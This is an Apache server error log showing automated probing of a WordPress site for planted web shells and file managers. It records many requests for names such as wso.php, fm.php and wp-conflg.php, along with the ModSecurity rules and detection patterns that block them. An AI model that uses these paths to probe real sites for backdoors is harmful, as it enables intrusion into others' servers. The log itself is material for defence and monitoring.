[Thu Apr 09 05:51:02.813404 2026] [:error] [pid 20641:tid 20651] [client 89.251.0.101:55067] [client 89.251.0.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "adbNxm3LksBSF-6rlkZr1wAAAMY"]
[Thu Apr 09 05:51:03.335181 2026] [:error] [pid 20536:tid 20573] [client 89.251.0.94:29545] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Thu Apr 09 05:51:04.150579 2026] [:error] [pid 20536:tid 20594] [client 89.251.0.94:29545] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Thu Apr 09 05:51:04.410155 2026] [:error] [pid 20536:tid 20584] [client 89.251.0.94:29545] [client 89.251.0.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "adbNyMPqyUJM1s3YpIYhSwAAAE0"]
[Thu Apr 09 05:51:05.203486 2026] [:error] [pid 20535:tid 20568] [client 89.251.0.92:59771] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Thu Apr 09 05:51:05.460960 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.92:59771] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Thu Apr 09 05:51:08.196937 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.92:59771] [client 89.251.0.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "adbNzAWiD9hWnEUHWdMiYQAAAAU"]
[Thu Apr 09 05:51:09.476274 2026] [:error] [pid 22627:tid 22633] [client 89.251.0.103:52447] [client 89.251.0.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "adbNzfr8glsF_jKQpr77xgAAAQM"]
[Thu Apr 09 05:51:11.040001 2026] [:error] [pid 20537:tid 20606] [client 89.251.0.93:23127] [client 89.251.0.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "adbNz8STjpSeyrxLmN4TsgAAAIg"]
[Thu Apr 09 05:51:12.654938 2026] [:error] [pid 20536:tid 20590] [client 89.251.0.94:44829] [client 89.251.0.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "adbN0MPqyUJM1s3YpIYhXAAAAFM"]
[Thu Apr 09 05:51:13.691344 2026] [:error] [pid 22627:tid 22635] [client 89.251.0.98:22595] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Thu Apr 09 05:51:13.947653 2026] [:error] [pid 22627:tid 22631] [client 89.251.0.98:22595] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Thu Apr 09 05:51:14.212856 2026] [:error] [pid 22627:tid 22636] [client 89.251.0.98:22595] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Thu Apr 09 05:51:14.470530 2026] [:error] [pid 22627:tid 22649] [client 89.251.0.98:22595] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Thu Apr 09 05:51:15.739382 2026] [:error] [pid 22627:tid 22634] [client 89.251.0.98:22595] [client 89.251.0.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "adbN0_r8glsF_jKQpr774gAAAQQ"]
[Thu Apr 09 05:51:17.361635 2026] [:error] [pid 20641:tid 20649] [client 89.251.0.110:42601] [client 89.251.0.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "adbN1W3LksBSF-6rlkZr6AAAAMQ"]
[Thu Apr 09 05:51:17.872303 2026] [:error] [pid 20536:tid 20584] [client 89.251.0.77:33117] [client 89.251.0.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "adbN1cPqyUJM1s3YpIYhYwAAAE0"]
[Thu Apr 09 05:51:18.398667 2026] [:error] [pid 20536:tid 20586] [client 89.251.0.109:43187] [client 89.251.0.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "adbN1sPqyUJM1s3YpIYhZAAAAE8"]
[Thu Apr 09 05:51:19.133605 2026] [:error] [pid 20537:tid 20619] [client 89.251.0.104:41683] [client 89.251.0.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "adbN18STjpSeyrxLmN4TtgAAAJU"]
[Thu Apr 09 05:51:19.770920 2026] [:error] [pid 22627:tid 22651] [client 89.251.0.83:28727] [client 89.251.0.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "adbN1_r8glsF_jKQpr778gAAARU"]
[Thu Apr 09 05:51:20.619665 2026] [:error] [pid 20537:tid 20599] [client 89.251.0.107:23357] [client 89.251.0.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "adbN2MSTjpSeyrxLmN4TuQAAAIE"]
[Thu Apr 09 05:51:21.130208 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.81:61529] [client 89.251.0.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "adbN2QWiD9hWnEUHWdMiZgAAAAU"]
[Thu Apr 09 05:51:21.647805 2026] [:error] [pid 20536:tid 20571] [client 89.251.0.89:44119] [client 89.251.0.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "adbN2cPqyUJM1s3YpIYhbAAAAEA"]
[Thu Apr 09 05:51:22.159824 2026] [:error] [pid 20537:tid 20621] [client 89.251.0.96:25085] [client 89.251.0.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "adbN2sSTjpSeyrxLmN4TvQAAAJc"]
[Thu Apr 09 05:51:23.195146 2026] [:error] [pid 20535:tid 20559] [client 89.251.0.78:60515] [client 89.251.0.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "adbN2wWiD9hWnEUHWdMibgAAAA8"]
[Thu Apr 09 05:51:24.157305 2026] [:error] [pid 22627:tid 22645] [client 89.251.0.81:23035] [client 89.251.0.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "adbN3Pr8glsF_jKQpr77_wAAAQ8"]
[Thu Apr 09 05:51:24.715146 2026] [:error] [pid 22627:tid 22630] [client 89.251.0.78:51599] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Thu Apr 09 05:51:25.246118 2026] [:error] [pid 22627:tid 22650] [client 89.251.0.78:51599] [client 89.251.0.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "adbN3fr8glsF_jKQpr78BgAAARQ"]
[Thu Apr 09 05:51:26.347599 2026] [:error] [pid 20537:tid 20611] [client 89.251.0.79:49181] [client 89.251.0.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "adbN3sSTjpSeyrxLmN4TwwAAAI0"]
[Thu Apr 09 05:51:27.357285 2026] [:error] [pid 20537:tid 20620] [client 89.251.0.105:56333] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Thu Apr 09 05:51:27.615819 2026] [:error] [pid 20537:tid 20600] [client 89.251.0.105:56333] [client 89.251.0.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "adbN38STjpSeyrxLmN4TywAAAII"]
[Thu Apr 09 05:51:28.644472 2026] [:error] [pid 22627:tid 22654] [client 89.251.0.85:58827] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Thu Apr 09 05:51:28.927063 2026] [:error] [pid 22627:tid 22638] [client 89.251.0.85:58827] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Thu Apr 09 05:51:29.249438 2026] [:error] [pid 22627:tid 22634] [client 89.251.0.85:58827] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Thu Apr 09 05:51:29.506438 2026] [:error] [pid 22627:tid 22653] [client 89.251.0.85:58827] [client 89.251.0.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "adbN4fr8glsF_jKQpr78HgAAARc"]
[Thu Apr 09 05:51:30.039934 2026] [:error] [pid 22627:tid 22649] [client 89.251.0.80:51431] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Thu Apr 09 05:51:30.331512 2026] [:error] [pid 22627:tid 22638] [client 89.251.0.80:51431] [client 89.251.0.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "adbN4vr8glsF_jKQpr78JAAAAQg"]
[Thu Apr 09 05:51:31.477461 2026] [:error] [pid 20535:tid 20553] [client 89.251.0.88:38497] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu Apr 09 05:51:31.744378 2026] [:error] [pid 20535:tid 20568] [client 89.251.0.88:38497] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Thu Apr 09 05:51:31.982785 2026] [:error] [pid 20535:tid 20544] [client 89.251.0.88:38497] File does not exist: /usr/local/apache/htdocs/suspended-page/setup.php
[Thu Apr 09 05:51:34.948469 2026] [:error] [pid 20535:tid 20561] [client 89.251.0.88:38497] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Thu Apr 09 05:51:35.225466 2026] [:error] [pid 20535:tid 20566] [client 89.251.0.88:38497] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Thu Apr 09 05:51:35.750684 2026] [:error] [pid 20535:tid 20560] [client 89.251.0.88:38497] File does not exist: /usr/local/apache/htdocs/suspended-page/ab.php
[Thu Apr 09 05:51:36.662993 2026] [:error] [pid 20535:tid 20547] [client 89.251.0.88:38497] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Thu Apr 09 05:51:36.937507 2026] [:error] [pid 20535:tid 20554] [client 89.251.0.88:38497] [client 89.251.0.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adbN6AWiD9hWnEUHWdMinAAAAAo"]
[Thu Apr 09 05:51:37.455741 2026] [:error] [pid 20535:tid 20564] [client 89.251.0.96:63703] [client 89.251.0.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "adbN6QWiD9hWnEUHWdMinQAAABQ"]
[Thu Apr 09 05:51:38.433338 2026] [:error] [pid 20641:tid 20661] [client 89.251.0.88:35549] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Thu Apr 09 05:51:38.721700 2026] [:error] [pid 20641:tid 20659] [client 89.251.0.88:35549] [client 89.251.0.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "adbN6m3LksBSF-6rlkZsBgAAAM4"]
[Thu Apr 09 05:51:39.520863 2026] [:error] [pid 20536:tid 20578] [client 89.251.0.102:23157] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu Apr 09 05:51:39.802144 2026] [:error] [pid 20536:tid 20594] [client 89.251.0.102:23157] [client 89.251.0.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adbN68PqyUJM1s3YpIYhfwAAAFc"]
[Thu Apr 09 05:51:41.457018 2026] [:error] [pid 20535:tid 20562] [client 89.251.0.94:43179] [client 89.251.0.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adbN7QWiD9hWnEUHWdMipAAAABI"]
[Thu Apr 09 05:51:43.087430 2026] [:error] [pid 20535:tid 20565] [client 89.251.0.107:44325] [client 89.251.0.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adbN7wWiD9hWnEUHWdMirAAAABU"]
[Thu Apr 09 05:51:43.724225 2026] [:error] [pid 20536:tid 20581] [client 89.251.0.104:44245] [client 89.251.0.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "adbN78PqyUJM1s3YpIYhhAAAAEo"]
[Thu Apr 09 05:51:45.110242 2026] [:error] [pid 20641:tid 20666] [client 89.251.0.82:37733] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Thu Apr 09 05:51:45.659910 2026] [:error] [pid 20641:tid 20664] [client 89.251.0.82:37733] [client 89.251.0.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "adbN8W3LksBSF-6rlkZsEwAAANM"]
[Thu Apr 09 05:51:46.470083 2026] [:error] [pid 22627:tid 22640] [client 2.57.169.3:34745] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Thu Apr 09 05:51:47.064198 2026] [:error] [pid 22627:tid 22653] [client 2.57.169.3:34745] [client 2.57.169.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "adbN8_r8glsF_jKQpr78WwAAARc"]
[Thu Apr 09 05:51:47.572566 2026] [:error] [pid 22627:tid 22642] [client 89.251.0.81:47579] [client 89.251.0.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "adbN8_r8glsF_jKQpr78XgAAAQw"]
[Thu Apr 09 05:51:48.410471 2026] [:error] [pid 20535:tid 20554] [client 89.251.0.88:46637] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Thu Apr 09 05:51:48.682871 2026] [:error] [pid 20535:tid 20555] [client 89.251.0.88:46637] [client 89.251.0.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "adbN9AWiD9hWnEUHWdMisAAAAAs"]
[Thu Apr 09 05:51:49.225541 2026] [:error] [pid 22627:tid 22653] [client 89.251.0.90:62769] [client 89.251.0.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adbN9fr8glsF_jKQpr78ZAAAARc"]
[Thu Apr 09 05:51:50.259917 2026] [:error] [pid 20535:tid 20558] [client 89.251.0.82:25863] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Thu Apr 09 05:51:50.531544 2026] [:error] [pid 20535:tid 20550] [client 89.251.0.82:25863] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Thu Apr 09 05:51:51.060437 2026] [:error] [pid 20535:tid 20556] [client 89.251.0.82:25863] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Thu Apr 09 05:51:51.562926 2026] [:error] [pid 20535:tid 20554] [client 89.251.0.82:25863] [client 89.251.0.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "adbN9wWiD9hWnEUHWdMivgAAAAo"]
[Thu Apr 09 05:51:52.067701 2026] [:error] [pid 20641:tid 20660] [client 89.251.0.108:59855] [client 89.251.0.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "adbN-G3LksBSF-6rlkZsGgAAAM8"]
[Thu Apr 09 05:51:53.382856 2026] [:error] [pid 20537:tid 20616] [client 89.251.0.95:32141] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Thu Apr 09 05:51:53.662881 2026] [:error] [pid 20537:tid 20615] [client 89.251.0.95:32141] [client 89.251.0.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "adbN-cSTjpSeyrxLmN4T7QAAAJE"]
[Thu Apr 09 05:51:54.211214 2026] [:error] [pid 22627:tid 22648] [client 89.251.0.84:64287] [client 89.251.0.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "adbN-vr8glsF_jKQpr78cAAAARI"]
[Thu Apr 09 05:51:54.734110 2026] [:error] [pid 20641:tid 20659] [client 89.251.0.92:59291] [client 89.251.0.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "adbN-m3LksBSF-6rlkZsHgAAAM4"]
[Thu Apr 09 05:51:56.310791 2026] [:error] [pid 20536:tid 20579] [client 89.251.0.90:50351] File does not exist: /usr/local/apache/htdocs/suspended-page/ff2.php
[Thu Apr 09 05:51:56.572634 2026] [:error] [pid 20536:tid 20575] [client 89.251.0.90:50351] [client 89.251.0.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "adbN_MPqyUJM1s3YpIYhlAAAAEQ"]
[Thu Apr 09 05:51:58.391325 2026] [:error] [pid 20537:tid 20614] [client 89.251.0.95:55919] [client 89.251.0.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "adbN_sSTjpSeyrxLmN4T-AAAAJA"]
